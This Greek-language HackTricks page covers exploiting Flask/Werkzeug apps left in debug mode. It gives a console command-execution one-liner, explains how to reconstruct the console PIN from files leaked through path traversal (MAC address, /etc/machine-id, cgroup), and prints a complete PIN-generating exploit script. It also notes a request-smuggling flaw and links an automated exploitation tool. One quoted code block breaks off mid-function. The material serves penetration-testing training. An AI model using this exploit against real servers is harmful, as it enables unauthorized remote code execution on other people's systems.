Werkzeug / Flask Debug

Reading time: 7 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Console RCE

Αν η αποσφαλμάτωση είναι ενεργή, μπορείτε να προσπαθήσετε να αποκτήσετε πρόσβαση στο /console και να αποκτήσετε RCE.

python
__import__('os').popen('whoami').read();

Υπάρχουν επίσης αρκετά exploits στο διαδίκτυο όπως αυτό ή ένα στο metasploit.

Pin Protected - Path Traversal

Σε ορισμένες περιπτώσεις, το /console endpoint θα είναι προστατευμένο με ένα pin. Αν έχετε μια ευπάθεια διαδρομής αρχείου, μπορείτε να διαρρεύσετε όλες τις απαραίτητες πληροφορίες για να δημιουργήσετε αυτό το pin.

Werkzeug Console PIN Exploit

Αναγκάστε μια σελίδα σφάλματος αποσφαλμάτωσης στην εφαρμογή για να δείτε αυτό:

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

Ένα μήνυμα σχετικά με το σενάριο "κλειδωμένη κονσόλα" εμφανίζεται όταν προσπαθείτε να αποκτήσετε πρόσβαση στη διεπαφή αποσφαλμάτωσης του Werkzeug, υποδεικνύοντας την απαίτηση ενός PIN για να ξεκλειδώσετε την κονσόλα. Προτείνεται να εκμεταλλευτείτε το PIN της κονσόλας αναλύοντας τον αλγόριθμο δημιουργίας PIN στο αρχείο αρχικοποίησης αποσφαλμάτωσης του Werkzeug (__init__.py). Μηχανισμός δημιουργίας PIN μπορεί να μελετηθεί από το Werkzeug source code repository, αν και συνιστάται να αποκτήσετε τον πραγματικό κώδικα του διακομιστή μέσω μιας ευπάθειας διαδρομής αρχείου λόγω πιθανών διαφορών έκδοσης.

Για να εκμεταλλευτείτε το PIN της κονσόλας, απαιτούνται δύο σύνολα μεταβλητών, probably_public_bits και private_bits:

probably_public_bits

  • username: Αναφέρεται στον χρήστη που ξεκίνησε τη συνεδρία Flask.
  • modname: Συνήθως ορίζεται ως flask.app.
  • getattr(app, '__name__', getattr(app.__class__, '__name__')): Γενικά επιλύεται σε Flask.
  • getattr(mod, '__file__', None): Αντιπροσωπεύει την πλήρη διαδρομή προς το app.py εντός του καταλόγου Flask (π.χ., /usr/local/lib/python3.5/dist-packages/flask/app.py). Αν το app.py δεν είναι εφαρμόσιμο, δοκιμάστε το app.pyc.

private_bits

  • uuid.getnode(): Ανακτά τη διεύθυνση MAC της τρέχουσας μηχανής, με το str(uuid.getnode()) να την μετατρέπει σε δεκαδική μορφή.

  • Για να καθορίσετε τη διεύθυνση MAC του διακομιστή, πρέπει να προσδιορίσετε τη δραστήρια δικτυακή διεπαφή που χρησιμοποιείται από την εφαρμογή (π.χ., ens3). Σε περιπτώσεις αβεβαιότητας, διαρρεύστε το /proc/net/arp για να βρείτε το ID της συσκευής, στη συνέχεια εξάγετε τη διεύθυνση MAC από /sys/class/net/<device id>/address.

  • Η μετατροπή μιας δεκαεξαδικής διεύθυνσης MAC σε δεκαδική μπορεί να πραγματοποιηθεί όπως φαίνεται παρακάτω:

python
# Παράδειγμα διεύθυνσης MAC: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
  • get_machine_id(): Συνενώνει δεδομένα από το /etc/machine-id ή το /proc/sys/kernel/random/boot_id με την πρώτη γραμμή του /proc/self/cgroup μετά την τελευταία κάθετο (/).
Κώδικας για `get_machine_id()`
python
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id

if _machine_id is not None:
return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""

# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue

if value:
linux += value
break

# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass

if linux:
return linux

# On OS X, use ioreg to get the computer's serial number.
try:

Αφού συγκεντρωθούν όλα τα απαραίτητα δεδομένα, το exploit script μπορεί να εκτελεστεί για να παραχθεί το PIN της κονσόλας Werkzeug:

Αφού συγκεντρωθούν όλα τα απαραίτητα δεδομένα, το exploit script μπορεί να εκτελεστεί για να παραχθεί το PIN της κονσόλας Werkzeug. Το script χρησιμοποιεί τα συγκεντρωμένα probably_public_bits και private_bits για να δημιουργήσει ένα hash, το οποίο στη συνέχεια υποβάλλεται σε περαιτέρω επεξεργασία για να παραχθεί το τελικό PIN. Παρακάτω είναι ο κώδικας Python για την εκτέλεση αυτής της διαδικασίας:

python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',  # username
'flask.app',  # modname
'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

Αυτό το σενάριο παράγει το PIN με την κατακερματισμένη σύνθεση των bits, προσθέτοντας συγκεκριμένα salts (cookiesalt και pinsalt), και μορφοποιώντας την έξοδο. Είναι σημαντικό να σημειωθεί ότι οι πραγματικές τιμές για probably_public_bits και private_bits πρέπει να αποκτηθούν με ακρίβεια από το στοχευμένο σύστημα για να διασφαλιστεί ότι το παραγόμενο PIN ταιριάζει με αυτό που αναμένεται από την κονσόλα Werkzeug.

tip

Αν είστε σε μια παλιά έκδοση του Werkzeug, δοκιμάστε να αλλάξετε τον αλγόριθμο κατακερματισμού σε md5 αντί για sha1.

Werkzeug Unicode χαρακτήρες

Όπως παρατηρήθηκε σε αυτό το ζήτημα, το Werkzeug δεν κλείνει ένα αίτημα με Unicode χαρακτήρες στις κεφαλίδες. Και όπως εξηγήθηκε σε αυτή τη γραφή, αυτό μπορεί να προκαλέσει μια ευπάθεια CL.0 Request Smuggling.

Αυτό συμβαίνει επειδή, στο Werkzeug είναι δυνατό να σταλούν μερικοί Unicode χαρακτήρες και αυτό θα προκαλέσει σπάσιμο του διακομιστή. Ωστόσο, αν η σύνδεση HTTP δημιουργήθηκε με την κεφαλίδα Connection: keep-alive, το σώμα του αιτήματος δεν θα διαβαστεί και η σύνδεση θα παραμείνει ανοιχτή, οπότε το σώμα του αιτήματος θα θεωρηθεί ως το επόμενο HTTP αίτημα.

Αυτοματοποιημένη Εκμετάλλευση

GitHub - Ruulian/wconsole_extractor: WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode. You just have to write a python function that leaks a file content and you have your shell :)

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks